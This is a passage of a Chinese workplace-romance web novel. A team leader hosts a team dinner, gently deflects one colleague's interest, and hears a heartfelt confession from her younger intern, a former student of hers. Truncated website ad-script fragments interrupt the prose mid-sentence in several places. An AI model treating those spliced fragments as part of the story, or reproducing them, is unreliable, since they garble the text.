她在心里斟词酌句,想着该怎么和沈曜捋顺这些职场规矩,未曾想沈曜反而接着她的话开口了。 “我知道。组长你不用和我解释。”沈曜了然道。 “嗯?”舒瑶意外,挑眉询问他,“你知道?说来听听。” 沈曜一本正经地说:“工作场合么。但凡有争议或冲突,都是先小兵对小兵。你好歹也是组长,刚出现矛盾就跳出来和小兵争执,那太丢份儿了。我没有认为你没帮我,你刚才站我旁边的时候,已经在用身体语言力挺我了。我分得清。” 舒瑶落在他脸上的目光透出明显的欣赏,好奇道: “你真是出乎我意料。刚才听你接电话我就觉得纳闷,你怎么不太像个初入职场的愣头青。现在听你这么说,我更怀疑了。你之前是不是在哪里已经实习过了?” 沈曜望向她的眼眸里抑制不住地露出一丝得意,笑道:“你才看出来啊。我高三暑假就开始在我爸的律所里帮忙了。” “难怪。你小子藏得很深啊。”舒瑶恍然。 沈曜意味深长的笑说:“藏得深的还不止这件事。” “哦?”一桩心事解决,舒瑶来了兴趣和他打趣,“你还有什么事瞒着我?” 沈曜头一歪,故意卖关子道:“现在这场合不合适。以后找机会我一定告诉你。走,喝奶茶去。” - 因为是月底,又来了新人。便有同事建议将月度团建放到今晚,舒瑶和组员们询问一圈,大家都表示赞同。 于是晚上这次饭局便敲定下来。 钱晓蔓预订了一家口碑还不错的铁板烧。 傍晚六点半左右,一群人浩浩荡荡的进了店,恰好围了一桌。 这家铁板烧的店面不大,四 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 面见方,约莫四、五十平的样子,墙面是清一色的白色带灰条纹的岩板。 造型简洁的同色系长条形餐桌中间围着一个约两平米的铁板,桌旁配着常见的原木细脚凳,所有桌面上的杯盘都是灰蓝色的粗陶所制。 进到店里,就感觉像个加大型的居酒屋,会令人不自觉的放松下来。 团建属于非正式用餐场合,大家也不顾忌座位主次,走到哪里就坐哪里。 张宇哲来到舒瑶的左手边座位坐下,偏头一瞧,以往舒瑶另一边都坐着梅悦儿,而今天却是沈曜坐到了她的右手边。 众人有说有笑的扫码点了自己想吃的菜肴。 轮到点附赠的甜品时,舒瑶看着好评五星点赞的杨枝甘露眼睛直放光。 坐他身旁的沈曜被她难得露出的馋相逗乐了,倾身凑到她近前轻声调侃道:“喂。你吃芒果过敏,别看了。看得着吃不着,这不是折磨自己么。” 舒瑶气鼓鼓地斜瞟他一眼,小声怼他:“哼。吃不了我看看还不行啊!” 沈曜接收到她的不满,低低地笑出了声。 从张宇哲的视角望过去,沈曜眸中那股狎昵的温柔分外明显。而舒瑶从来没在众人面前显露过这么任性松弛的一面。 一股强烈的醋意和不甘在胸中激荡,张宇哲搁在身侧的手不禁抓握两下,似乎是下定了某种决心。 没察觉到这几分钟内的暗潮汹涌,听取众人想点的菜后,舒瑶快速下了订单。 先被端上来的是几瓶啤酒和两扎胡萝卜苹果汁。 张宇哲问了舒瑶要不要喝啤酒,舒瑶笑着摇摇头,说自己想喝果汁。 沈曜是个很有眼力见儿的实习生。果汁一端上来,他便帮舒瑶和他另一边的梅悦儿各倒了一杯。 张宇哲拉开啤酒拉环,闷闷地喝了一大口酒。 见大家手里或杯中都有了饮品,舒瑶主动朝众人举杯:“来。最近大家伙儿忙着汉广文化的策划案,都辛苦了,沈曜又恰好是第一天加入我们,借此机会,我敬各位一杯。接下来我们还要继续并肩奋斗。” “不辛苦不辛苦,组长才是辛苦了。” “我们组又多了个帅哥,工作动力满满啊!” “每次团建,我都感觉能当一名社畜也是很幸福的。” “好饿,我觉得我能吞下一头牛。” “帅哥,你是在念大三吗?” …… 有舒瑶开了个好头,众人的兴致一下子被调动起来,七嘴八舌地开始闲聊。 恰好这时舒瑶搁在背包里的手机响了。 她摸出手机,瞥了眼来电人,对在场的同事们说:“不好意思,我出去接一下电话。” 舒瑶离开后,过了十多分钟都没回来。张宇哲有些不放心,借口去卫生间,实则是出去寻她。 沈曜望着张宇哲的背影,不发一言。他半垂下眼眸,看了眼左手中指上的银戒指,继而又用右手轻轻慢慢地摩挲。 张宇哲出了店门,左右张望一番,很快便发现了他想找的人。 舒瑶站在走廊尽头,半倚着玻璃围栏正在和谁打电话。 她微微侧过身体,脸上有着放松又温柔的笑意,商场顶部明煌的灯光在她的周身渡了一圈朦胧的银边。 张宇哲犹豫一会儿,抬手匆忙整理了一下头发和衣领,朝她走过去。 现在也许不是一个绝佳的表白场合,却是在办公室以外的地方难得的独处时机。 45.措手不及(二) 随着慢慢靠近她,张宇哲的心脏越跳越快,脚下的步子却愈加慎重。 一丝绯红悄然爬上他的脸颊。在距离女人七、八米的地方,他放轻呼吸,停下脚步耐心等她打完那通电话。 舒瑶没过两分钟便挂了电话,转身的那一瞬间,嘴角恬淡的笑意还没散去。 张宇哲与她对视两秒,脸色显出几分羞赧,“组长,你出来好久了。我不放心,就来看看。” 几乎在舒瑶看见他的一瞬间,她的心底便敏锐的察觉出什么。 张宇哲对她的心思,她其实很早就看出来了。只不过他一直没有过明显的表示,她就假装不知道。 脑中迅速思索一番,她撒了个善意的谎言,“不好意思。刚才在和相亲对象通电话,一时聊得高兴,忘了时间。” 张宇哲的神情僵了一瞬,原本亮闪闪的眸光顿时暗淡下来。 他还什么都没说,已经被她委婉拒绝了。 一切都有些可惜,但也在他预料之中。以舒瑶的得体和灵透,她怎么会看不出自己喜欢她? 在社会打过滚的人,小心试探和点到为止是给彼此最好的体面。 作为一个合格的职场人,张宇哲几乎在须臾之间就调整好状态。 “那回吧。大家都在等你呢。”张宇哲将心中的失落和难过隐藏好,大方的笑道。 “好。”舒瑶走过去,侧头对他赞赏道:“这次你收集和提供的数据非常合理,样本量采集的也很充足。为我们后续实施方案的成功几率提供了强有力的支持,表现很不错哦。继续努力!小伙子有前途!” “组长太会夸了。强将手下无弱兵。都是你之前教得好。我也感觉我这两年进步的还行。”张宇哲腼腆地搓了一下鼻尖,他特别欣赏舒瑶敏锐且细腻的为人风格。 他“出师未捷身先死”的表白所引起的那点儿难过和尴尬,就在她对他工作能力的真诚赞美之下得到了很好的舒缓。 两人从僻静的走廊拐角处走出来,有说有笑地谈论着工作,没一会儿就回到座位上。 配菜员已经将他们那一桌的食材配好,满满三大托盘,有荤有素有海鲜,牛排羊排鹅肝样样不缺,一眼瞧去五颜六色,引得人胃口大开。 舒瑶在座位上坐定,转头扫了一眼右手边的空座椅,问梅悦儿,“沈曜人呢?” “咦?他说他去洗手间,你们刚才没遇见吗?”梅悦儿纳闷。 舒瑶刚才去的走廊尽头的左手边就是洗手间,听梅悦儿这么一说,她也有点奇怪怎么没遇见沈曜。 舒瑶:“他去多久了?” 梅悦儿:“呃……有三、四分钟了吧。” 肩宽背阔的大厨师傅往铁板上倒了一些花生油。 随着铁板的烘烧发出滋滋声响,他又往油里放入一小盘葱姜蒜,用铲子来回翻炒增香。 不一会儿,略带焦香的蒜味儿徐徐弥散开来,在座的几位同事忍不住抽了抽鼻子,喉头一阵急滚,甚至还有人肚子咕噜噜叫了两声。 “好香,我快流口水了。” “我也是,饿了饿了。” “咱们的司草实习生去哪里了?” “放心吧,这么大人了你还怕他走丢不成?” “关爱司草,人人有责。” “师傅,先煎牛排吧。太饿了,不来点硬菜根本扛不住。” 众人一阵七嘴八舌,被美食勾得躁动不安。 “好,给你们先煎牛排。”铁板的温度持续升高,葱姜蒜的香味被热油一激,袅袅地往大家鼻子里钻。 敦实可亲的厨师动作麻利地往铁板上铺了三块菲力牛排,加入黑胡椒酱煎了一小会儿,问道:“牛排要几分熟?” 舒瑶对大家的口味已经在数次团建后有所了解,便说:“两块七分熟、一块六分熟。” 厨师:“好嘞!”说着,他往铁板上又放了两块黄油化开,拿起一瓶浅色的瓶子,嘱咐大家:“小心咯!要冒火了。怕热的就往后退一点。” 众人赶忙坐直身体往后仰。 “滋啦”一声,火光顷刻之间大增,窜了将近一米高,将所有围坐人的脸照得橙红光亮。 牛排鲜腴诱人的香气随之飘散开来。 舒瑶在此时感觉后方一片阴影笼罩过来,偏头看去,沈曜已回到座位上。 舒瑶朝他开玩笑,“我还以为你去洗手间迷路了。” 沈曜莞尔,眉眼在火光照耀下越发深邃,眸中像是藏了一片银河,“怎么可能。我去二楼的便利店买点东西而已。” 舒瑶见他两手空空,水亮的杏眼在他身侧转了转,好奇道:“你买了什么?” 沈曜对她俏皮地眨了眨眼,长长的眼尾拖出风流的韵致,似乎带了小钩子一样。 热烫的火光已逐渐退下去,美食的香气萦绕四周。 沈曜明晰流畅的下颚线被淡橙色的光芒在脖颈连接处勾勒出一条暗影,“口香糖。等会儿给你一片。” 舒瑶见他这样毫不避讳的对自己放电,不禁剜他一眼,“好好干饭。”说完,把头一转,不再看他。 这小子胆子越来越大了,人也随着年纪增长更加没个正形,才刚进公司实习的第一天,就敢对她这个领导乱放电。 她记得他以前不这样啊…… 怎么几年没见,变得这么轻浮了?受什么刺激了吗? 此时,坐在沈曜斜对面的钱晓蔓问他:“沈曜,你怎么不喝酒呀?” 沈曜淡淡地扫她一眼,笑道:“不喝。今晚回去还有点事要处理,喝了怕脑子不清楚。” 看来他也不是对谁都放电。舒瑶将他与钱晓蔓说话时的神态瞧得分明。 难道他只对自己这样? 舒瑶用手指轻轻敲击着桌面,一心想着,等会儿吃完饭得好好找他聊一聊,给他纠正一下面对上级 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的态度。 - 铁板烧的美拉德效应使吃饱喝足的每个人脸上都洋溢着满足的笑容。 原本不喝酒的几位妹子都忍不住加点了掺着牛奶的甜酒助兴。 连日以来的工作压力被美食美酒化解,所有人都产生了一种陶然忘忧的短暂错觉。 见大家各个捧着肚子一副餍足的表情,舒瑶十分满意,扫码买单。 众人稀稀拉拉地出了店门,喝了酒开车来的叫了代驾。没开车的也打开app约网约车。刚刚饱食一顿大餐,没人想动弹去挤地铁和公交车。 “好了。这周难得不用加班,你们回去都好好睡个大懒觉吧。”舒瑶今天开了车来,与组员们笑着道别,在电梯里按下停车场所在的B2层。 电梯门一开,另两个开车的同事与舒瑶一起走出电梯,各自去寻自己停车的位置。 舒瑶走出没两步,觉得不太对劲。回头一瞧,发现沈曜竟然跟着自己来了。 舒瑶纳罕,“嗯?你也开车了?” 沈曜嘴里叼着口香糖,双手插着裤兜儿,“没。” 舒瑶疑惑地仰头瞅他,“那你这是……?” 沈曜递给她一片,笃悠悠的说:“送你回家。” 舒瑶觉得荒谬,“我开车来的,这你也要送?” 沈曜眉头微拧,一本正经貌,“我们最近上课,老师讲了两个经典案例。一个是雨夜屠夫案、另一个是停车场抢劫杀人案,都是针对单身夜归的女性……” “停!”这家伙为了送自己也是拼了。舒瑶无奈扶额,“你好幼稚。” 沈曜无辜地眨了一下眼睛,倾身凑近,俯视她秀丽的容颜,眼神灼亮,勾着嘴角低声笑道:“没办法。我年纪小,就是幼稚。”说到“就”时,还特意加重发音。 赤裸裸的挑衅。 舒瑶被他嚣张又坦然的话语气笑了,从鼻子里哼声道:“你敢这么和你领导说话,胆儿挺肥啊。” 沈曜抬了抬下巴,貌似困扰,“现在是下班时间,所以你不是我领导。你可要公私分明啊,小姐姐。” 又来了…… 一般这小子不会轻易叫自己姐姐,所以每次一被他叫姐姐,她就会觉得他像在和自己调情。 舒瑶蹙眉,放在身侧的手不禁握了握,忍住想拗眼前男生胳膊的冲动,停下脚步侧身打量他。 既然这小子这么说,她忆起吃饭之前的那个想法了。 舒瑶摸出手机看了一眼时间,“现在还不到九点,你们学校门禁是几点?” 这下轮到沈曜疑惑了,“我和舍友们搬出来住了,方便实习,不想被学校的门禁在时间上卡的太死。” “那就好。不介意的话,我们去楼上找家茶室坐会儿?” 一丝喜出望外从沈曜的眸底一闪而过,“好啊。” 他求之不得。 舒瑶到底想和自己聊什么呢? 46.措手不及(三) 这家商场应该是舒瑶经常来的。 沈曜跟在她身后重新上了电梯。 她带着他轻车熟路地绕过一众各式各样的餐饮店面,来到三楼的一家装修古典雅致的中式茶馆。 红漆木的竖式镂空隔断将每一个卡座分隔出一片隐私的小天地。 四周环绕的音响播放着中国风的歌曲,曲声缠绵婉转。 舒瑶与沈曜找了个角落的位置落座。 平整的漆木台面上十分干净,只有一个青瓷小花瓶,插着几枝开粉色花朵的桃枝,和一小碟海苔花生米。 如此环境,给人一种似曾相识的感觉。 沈曜默然四顾,散漫的神色逐渐收敛了几分。 舒瑶起初沉默着,脑中打着该如何说教的草稿。 也许是星期五晚上的关系,店里多数坐得都是一对对神态亲密、情意绵绵的情侣。 舒瑶无意间瞥到右边那桌挨得很近的青年男女悄悄亲了个嘴。 她连忙收回视线,强忍住嘴角的抽搐,乜了一眼坐在自己对面低头抠手机的年轻男人,缓缓开口问道:“说说吧。今天头一天来我们公司实习,感觉怎么样?” “不错。同事们都很好。”沈曜锁了手机屏保,将它反扣在桌上,眸光闪闪地盯着眼前人,话里有话,“还有意外惊喜。” 舒瑶愣住,慢慢摆弄着青瓷小花瓶的手停了,“什么意外惊喜?” 沈曜忽而展颜一笑,不再是刚才那种带着挑衅和玩世不恭的笑,而是一种闪着阳光般的真心笑容,天真明朗,灿烂的让人挪不开眼。“见到你工作时的样子了。” 舒瑶:“……” 自从和沈曜重逢以后,舒瑶从没见他这样笑过。 在他身上,她很难找到他少年时期的影子,就像再也回不去的那几年时光,直到这一刻。 当舒瑶今晚再次在他脸上看见这么纯粹的笑容时,她忽然不知该用什么态度面对他。 至于这样笑的像个孩子嘛…… 简直太犯规了。 舒瑶垂下眼帘,错开与他对视的视线,沉默地拿起手机扫码,却发现自己的这一桌已经下了订单。 她点开菜单查看,是一壶茉莉龙珠和一盘乌龙茶酥。 舒瑶讶然望着对面的男生,绷紧的嘴角有一丝松懈,“你还记得?” 满满的回忆浮上心头。 沈曜高一寒假那年来海城探亲,与舒瑶约了饭局。 结果她有一场相亲推不掉,还是少年的他就在她相亲的茶馆中一直等到她相亲结束。那时她点的就是茉莉龙珠和乌龙茶酥。 沈曜两手交握着搁在桌缘上,凝视她的那双琥珀色眼眸中,透出一种引人遐思的幽深,“当然记得,我从来没忘记过。” 或许是被他严肃的神情触动,舒瑶一时不知道接下来该和他说些什么。 “你呢?”沈曜问。他的视线牢牢地锁住她的眼睛。 “嗯?”她没想到会被反问,怔了一秒,“什么?” “以前那些事,和我在一起的那些,你都还记得吗?”沈曜慢慢将视线移往透明的玻璃窗外,单手撑着半张脸,望着那些穿梭在商场长廊里来来往往的行人,就像望着那些他曾经与她错开的时光。 茶馆的灯光不如外面明亮,如淡雾似的柔和橙光从天花板漾下来,将他一半的侧脸隐入阴影里,平添一抹令人不忍欺瞒的忧郁。 茶馆里播放的歌曲变成了《兰亭序》,那句“无关风月,我题序等你回”一出来,沈曜的右手摸上自己左手中指上的那枚银戒指。 舒瑶斟酌,最终选择诚实的回答,“都记得。” 说完这句,两人再次陷入沉默。恰在此时,服务员将茶和点心端了上来,嘱咐一句“茶水烫口,请慢用”就离开了。 舒瑶无意识地松了口气,盯着浅绿色茶汤里的茶叶徐徐舒展开一段悠然的茶舞,回忆也跟着在心头飘然起来。 他们对彼此口中的那些断了线的“曾经”心知肚明。 “我不止记得。”沈曜似是没察觉她的叹息,他将视线移到壶中澄澈的茶汤上,直白的坦言: “我还念念不忘。” 舒瑶的心猛地一跳,伸向茶壶的手明显顿了一下。 说完,沈曜又直直地望进舒瑶的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼底。他不想错过她一丝一毫的表情和情绪波动。 舒瑶蓦然觉察到一股难以言明的压抑,再次将手伸向茶壶,想借着给彼此倒茶而缓解两人之间此刻漫起的沉重感。 然而这次,她的手依然没能碰到壶柄。 沈曜已先她一步执起茶壶,将她面前的青瓷茶杯倒满。 舒瑶在这一刻再次深刻的意识到,这个男孩已经和数年前完全不一样了,无论外在还是内在。 他执着坚定的一言一行都在反复提醒着她这一点。这让她觉得莫名的棘手,似乎和他在一起,让她变得焦灼难安。 舒瑶敏感的发现,现在的沈曜很强势。 她预想好的说辞在男生毫不退缩和出其不意的话语之下被完全打乱。 不知不觉间,沈曜已彻底掌握了这场谈判的主动权。 一切都太突然了。舒瑶没想到他会这么直接坦率。 这话要怎么接? 舒瑶扪心自问,问了半晌问不出一点儿明堂。 这话她没法接啊…… 这家伙不按套路出牌,一上来就放大招。 然而,以上这些还不算什么。 沈曜调整原本疏懒的坐姿,那半张隐在水墨般阴影里的俊美侧脸,随着他的正襟危坐而慢慢展露。 他深深地注视着眼前的女人,固执的与她视线纠缠。 《兰亭序》凄美缠绵的曲调撩拨着两人不平的心绪: “情字何解,怎落笔都不对。” “而我独缺,你一生的了解。” 某种预感袭来,舒瑶心头一颤,嘴唇翕动着,想尽快说些什么话题来打破这种暧昧又危险的氛围。 却听青年沉沉地开口:“我喜欢你。” 舒瑶怔住,盯着男生的脸数秒,忘记眨眼。 “我喜欢你,舒瑶。”年轻的男生再次说道,珍而重之的语气令她不敢轻视。 舒瑶心中一悸,“你……” “我喜欢你很久了。”沈曜逼视着她,不允许她露出一丝一毫退怯的逃意。 时隔五年,他终于有资格在她面前说出这句话。 47.出其不意(一) “我喜欢你很久了。”沈曜说道。 明明他的声音很轻,但每个字的分量都极重。一字一字像是拿着镌刀刻进她心里。 正因如此,舒瑶不敢不信。她的任何一丝怀疑,都是对这男生郑重向自己表白心意的轻慢。 她不想那样做,她不想对他的喜欢敷衍了事。 她需要仔细慎重得考虑清楚,以免伤害到他的真心。 因为沈曜于她而言并不是关系普通的男人。 他曾是她的学生,而在她心里,也一直把他当成私交还不错的异性朋友,尽管他们曾一度断了联系,但当年的交情她仍然记在心里。 他们于对方而言,是见证过彼此人生低潮迷茫期的朋友,并且曾一度互相陪伴着走过那段时期。 总的来说,于友情方面,舒瑶向来是个十分念旧的人。 “多久了?”舒瑶即刻接受了对面的年轻男生喜欢自己的事实。 她缓缓吐了口气,放在腿上的双手轻轻握了握,接着问:“什么时候开始的?” 虽然她在他高一暑假那年已经察觉到男生对她抱有超出友情之外的情感,但具体是什么时候产生的,她仍然想弄个明白。 “我升上高一那年吧。那时候我已经很确定了。”沈曜说。 毕竟连春梦都做了。男生的脸上闪过一瞬难以察觉的腼腆,“但是后来回忆起来,对你有一点异性的好感应该是从初二就开始萌芽的,就……我生病发烧挺严重的那次你半夜送我去医院;也可能更早,你送我围巾当生日礼物的那时候……反正那时候收到你礼物,我心里很高兴,当时别的女生也送过,都被我退了,也没高兴的感觉。” 沈曜在自己心里细细捋着那条当年牵绊住自己的红线。 他低低诉说着自己对女人的情感,神情里又掺杂了一丝困惑。 具体什么时候开始产生感觉的,也许连他自己都没办法确定。那时候的自己太过于年少,对爱情一无所知,但这并不妨碍他动心。 男生倾诉衷肠的声音温润,仿若清澈山泉一般淙淙入耳,又饱含着克制的情意,“反正自从认识你以后,你对我来说就一直很特别。再没别的女生给过我那样的感觉。” 时间在袅袅茶香中飘散而过,伴随着他一点一寸地陈述,那些埋藏在他心底的情感又如一波一波隐忍着席卷而来的海浪,温柔而坚定地拍击着舒瑶的心房:“亲切的、困顿的、惘惑的、酸甜的、沉迷的、苦涩的,那些我从未接触过的陌生情愫,都只来源于你。” 舒瑶眼帘半垂,遮去眸中的惊讶,再次陷入沉默。 他竟然这么早就动了心…… 当年与还是少年的他相处的点点滴滴涌入舒瑶心间。 原本并不鲜艳的、甚至因为时间的消磨而变得像老照片似的那些陈旧记忆,随着他诉之于口的情感,逐渐还原出生动缤纷的色彩,仿若一副被修复渲染过的旧画。 舒瑶现在感慨万千,却又不知该从何处开口,她只能缓缓摩挲着茶杯,看着杯中清亮的茶汤出神。 见舒瑶没有任何反馈,沈曜也不说话了。 暧昧又带些压抑的沉默再次于两人之间蔓延开来。 他们像是在无声的彼此较量,又像从目前的僵持中试图读取对方的心思,淬炼出其他更深层次的东西。 一个在沉思,另一个在安静地等待宣判。 不知过了多久,或许只有几十秒,又或许已经过了十几分钟。 沈曜突然的表白令舒瑶措手不及。 怔愣好半晌,她才主动打破沉默,干巴巴地挤出一句:“不是……今天你才刚来我们公司实习……” 第一天就和直属上级说这些,又是放电又是表白的,这样真的合适吗? 然而舒瑶的想法没能来得及问出口。 男生刚才的深情款款忽而朝着意外的方向发展,“我喜欢你和我来你们公司实习有直接关系吗?” 涉及到公司利益,舒瑶逐渐找回了谈话的节奏,“当然有直接关系。我们公司不允许同部门的人存在暧昧或恋爱关系。那会导致同事之间的利益冲突。在绩效评估时容易引起团队矛盾。” 沈曜哂然一笑,从容反驳道:“我只是在你们部门短暂的实习,非全职员工,也不参加绩效评估。不会引起利益冲突。” 舒瑶的内心一震,出现了一个大写的“What?” “所以你从一开始要求进我们公司,就是目的不纯?”舒瑶至此发现,这小男生远比自己想得要狡猾。 沈曜抿抿嘴,笑着点点头,“这不是明摆着吗?我表现的这么明显,你不都看出来了吗?” 如果这么容易就被吓住,他这几年的煎熬和刻意的磨练岂不是白费了。 男生的眼睛因笑容而弯起,显出与平素不同的风流,琥珀色的眼珠之下,是光润饱满的卧蚕。 这家伙又在对自己放电了…… 舒瑶对他此时脸上露出的天真又带着丝丝甜意的笑容并不买账,因为她不满意沈曜对于这份实习工作的轻视。 在她看来这是一种很不负责任的行为。 她神情严厉地质问他,“沈曜,这就是你对于工作的态度吗?” 沈曜收起笑意,沉默须臾,才一本正经道:“今天梅悦儿布置给我的任务我已经完成了,并且前后检查过两遍,保证没有一点错误。我还根据分类重新统计了这几年来的合同数量,主协议和附加协议都也分别记了数。” 因为是在公众场合,沈曜不方便把合同数量口头报出来,他拿起自己的手机备忘录,打开今天的工作记录和心得,递给舒瑶让她检查。 末了还来了一句,“放心吧,我在人力资源部签署过保密协议,有关于工作的事情,绝对不会外泄。” 舒瑶半信半疑地接过他递来的手机,手指慢慢滑动屏幕,仔细审视他写的工作记录。 果然如他所说,合同的分类和数量统计的十分详细。 沈曜对合同中签订的甲方客户的行业和注册资本也进行了简单的记录和划分。 如此处理数据可以帮助他快速了解公司的业务范围和业务种类,包括客户群体。 哪些是关系好的大客户,哪些是新客户,哪些客户的委任订单越来越少,哪些客户有追加进一步 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 合作的趋势,这些公司的主要业务涉及是哪一块都被他做了清晰的标注和分析,甚至还在某些方面备注了一些自己总结出的看法及潜在的问题。 舒瑶从头到尾浏览完一遍,心中暗暗吃惊。 她知道他脑子向来灵光,可是单从他能利用这些文件登记工作,在极短时间之内对公司的业务了解和判断的如此细致入微,就能说明他在工作时,是具备极佳的前瞻思维的。 这也就是所谓的“老板要你走一步,你却比他期待的多走了三、四步。” 论工作效率、工作态度、心思缜密程度,对于一个实习生来说都已经事超出想象的完美表现。 这小子颜值扛打,智商还很在线,简直就是实习生中的战斗机。 舒瑶下意识地抬眸瞅了他一眼,将手机还给他,后背往身后的皮质卡座上一靠,整个人不再像刚才那样严肃地绷着了。 事实和数据摆在眼前,舒瑶对此再无质疑,落落大方承认道:“行吧。不论出于什么目的,至少面对工作,你在我接触过的实习生中已经算是史无前例,非常优秀。我无话可说。” 沈曜从鼻腔里哼了一声,“无话可说就好 。” 看在舒瑶眼里,甚至有一丝猖狂,她顿时哭笑不得,“我说这位弟弟呀,是我把你想的太单纯了。” 沈曜痞痞地笑起来,拿起茶杯小嘬一口,而后将一只胳膊伸展开,随意搭在了卡座的背沿上。 明明应该是很悠闲文雅的举动,却被他弄出了嗦啤酒似的随性,“难道你希望我是个笨蛋?” 刚才男生表白带给她的沉重感被现下的谈话转了个道,压力骤减之下,她有了闲情和他拌嘴,“拉倒吧。你可精着呢。谁都没你心眼多。大聪明啊。” 沈曜听出她的讥诮,挑眉,“骂我呢?” 两人谈话的画风逐渐清奇。 舒瑶坐姿放松,手却没再碰自己面前那杯茶,慨叹:“小朋友,我发现你胆子是真的大啊……” 想着方儿的混进公司,就为了泡姐姐? 沈曜差点着了她的道儿。 舒瑶已逐渐从震惊带来的无措中回神,正在试图通过玩笑找回谈话的主导权。 看来想要追到这位姐姐,还是不能放松,她太精明了。他需要十分小心地应对她接下来的招数。 沈曜收回那只搭在卡座背沿上的修长胳膊,双手改为慢悠悠转着那杯温热的茉莉龙珠:“可不。没胆量我可不敢和你说这些。” 话已然说开,舒瑶便直白地问他:“你就不怕我以后不理你了?” “怕啊。所以这不是来你公司实习了吗?”沈曜又喝了口茶,感受着清香的茶韵在口腔里悠悠徘徊。 舒瑶无语地望着对面悠哉喝茶的青年:“……” 过了一会儿,他才有恃无恐道:“私下你不理我了,但至少我们在同一家公司,作为领导你还是得理我啊。” 他相信舒瑶不是一个公私不分的人。只要他工作不犯错,任劳任怨,她不会拿自己怎么样。 舒瑶对他的蓄谋已久服气了。 这个心机boy藏得真深啊! 48.出其不意(二) 但是听了沈曜说得那些直白坦诚的话,感受到他真实的情感,她对他又气不起来。 舒瑶的心底还有一丝被他表白震撼到的余韵没有消散。 两人的交谈因为她的沉默再次中止。 这次较量,青年又赢过了她。 舒瑶现在一时无法从男生身上挑出什么错来,反击只得暂时搁置。 她索性平复了内心深处的情绪波动,顺其自然的将视线落在对面的男生身上。 沈曜的右手又开始有意无意地转动左手中指的那枚银戒指。 舒瑶的视线就这样被他手上的动作无端吸引过去。 沈曜的手长得非常好看,尤其是手指,指节匀称修长,骨形秀美分明,被他手拂过的地方,好似下一秒就像被春露点润过一般,会生出细绿的草、美丽的花。 面前的男生不仅相貌佼佼,就连手也是让人过目难忘的好看。 形骨极佳的手指慢慢抚摸着那枚银戒,舒瑶的视线便随着手指继而转向银戒。 之前和沈曜见面时,沈曜的习惯性动作就是去转动和轻抚那枚戒指。 正因为这戒指款式非常简单普遍、戒身也不宽,乍看之下分毫不会引起别人的注意,所以舒瑶并没怎么仔细观察过它。 直到此刻,两人对坐无言,她才随着他手指的动作有心好好观察那枚戒指。 戒指上除了一个镂空的∞符号以外,没有任何其他的装饰。雕花、碎钻、宝石、水晶等等这些常见的点缀统统不存在。 然而看着看着,舒瑶觉出了这枚戒指的特别。 单看质地,一眼就能分辨出它只是普通的银质戒指。 可就是这么一枚再普通不过的戒指,在茶馆内不甚明亮的橘色灯光下,正泛着十分油亮温润的光泽。 那是经过主人多年佩戴和抚摸才会显出的色泽,陈而不旧,透出一股隐秘而长情的呵护宠爱意味。 舒瑶隐隐约约觉得这枚戒指对沈曜的意义非凡,但又想不起来关于这戒指的故事,所以她决定还是先抓重点。 沈曜对她的感情,究竟她该如何协调处理才是目前她需要首先慎重考虑的事。 沈曜知道她在认真考虑自己和她之间的事,心里雀跃的同时,又觉十分不安。 他终究还是怕的,怕她今后的冷漠相待,怕她除了工作以外真的再也不理会他、甚至会刻意躲他。就像数年前一样。 当年的自己因为还未成年,便只能眼睁睁地任由她疏远。可即便几年过去,横在两人之间的那座大山已经不复存在,他却又陷入了同样的焦虑和危机。 这是不是就是众人常说的“历史总是惊人的相似”? 沈曜交握着的双手渗出一层细密密的冷汗。 可他知道他不能在此刻露怯,他还得打起十二万分精神应对她接下来的招数: ——无情的推远和拒绝。 七岁的年龄差,就真的过不去了吗?即使自己再怎么努力成长,再怎么努力在同龄人中表现优秀,她依然离自己遥不可及。 随着时间一分一秒的过去,茶汤逐渐冷却。 沈曜感觉自己被她的沉默逼进了一个不知名的角落。 他在那个角落里看见了少年时彷徨无措的自己,看见了困顿挣扎,更看见了多年的爱而不得幻化成阴暗无边的深渊,仿佛能将他吞没。 此时此刻,他甚至觉得自己像是个追随她多年的卑微信徒,而他的女祭司永远站在巍峨高耸的神坛上,对苍生报以微笑,唯独对他漠然无视。 只要他胆敢对她露出一星半点的爱意,她就会无情地将他驱逐。 沈曜的眼眸渐渐从明亮到暗淡,仿佛一对被人抽去光彩的棕色琉璃珠,灰涩黯然。 以前连表白都不敢的自己,因为当时未成年而留下的心理阴影再次笼上他的心头。 他不服气。他好生气自己和她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 差了七岁,却也束手无策。 舒瑶的沉默很明显,是带着拒绝他的意思的。 他又怎么会感知不出来呢? 难道就因为自己年纪小,她就看不上自己吗? 还是她害怕社会对姐弟恋的舆论,怕大家说她和自己耗不起青春?! 沈曜的瞳仁深处积攒了一片化不开的幽黑,阴翳地盯着自己面前的那杯茶。 茶杯之上已不见缕缕轻烟。 沈曜眼帘低垂,自嘲地扯了一下嘴角。 想必茶汤也凉了吧,失去茶香,索然无味。就好像眼下快要凉凉的自己。 他不甘心…… 他好不甘心! 他更不愿意放弃! 数个念头从他心底一闪而逝,它们明暗交叠,仿佛阴阳两级一般在心中博弈拉扯。 已经追到了这里,他怎么可能放弃? 几分钟过去,说长不长、说短不短,就在沈曜双眼发红忍到极限时,对面的女人恰在此时找到了两人之间尴尬处境的关键点。 舒瑶斟酌了好半晌,才想好要怎么和沈曜说。 她的手轻轻摸上面前的青瓷茶杯。杯壁已不再烫手,触碰之下只余温热。 “对不起,沈曜。”她的声音轻柔,即便说着拒绝的话语,也奇迹般地将他的思维从一片漆黑的沼泽中拉拽出来。“对不起。” 沈曜对她摇摇头,强忍住心底泛滥的苦涩和撕扯般的疼痛。 他大概是思念她太久了,以至于现在哪怕只是听到她柔和清澈的声音,都有种得到救赎的错觉,“你不用和我道歉,我知道我对你来说年纪太小。你担心我不定性、幼稚,对吧?” 舒瑶忽然捂嘴嗤嗤地笑了,男生面对感情的单纯让她觉得珍贵又可爱,“不是的。” 不是的…… 不是的?! 舒瑶又说:“不是你想得那样。” 什么意思? 49.出其不意(三) 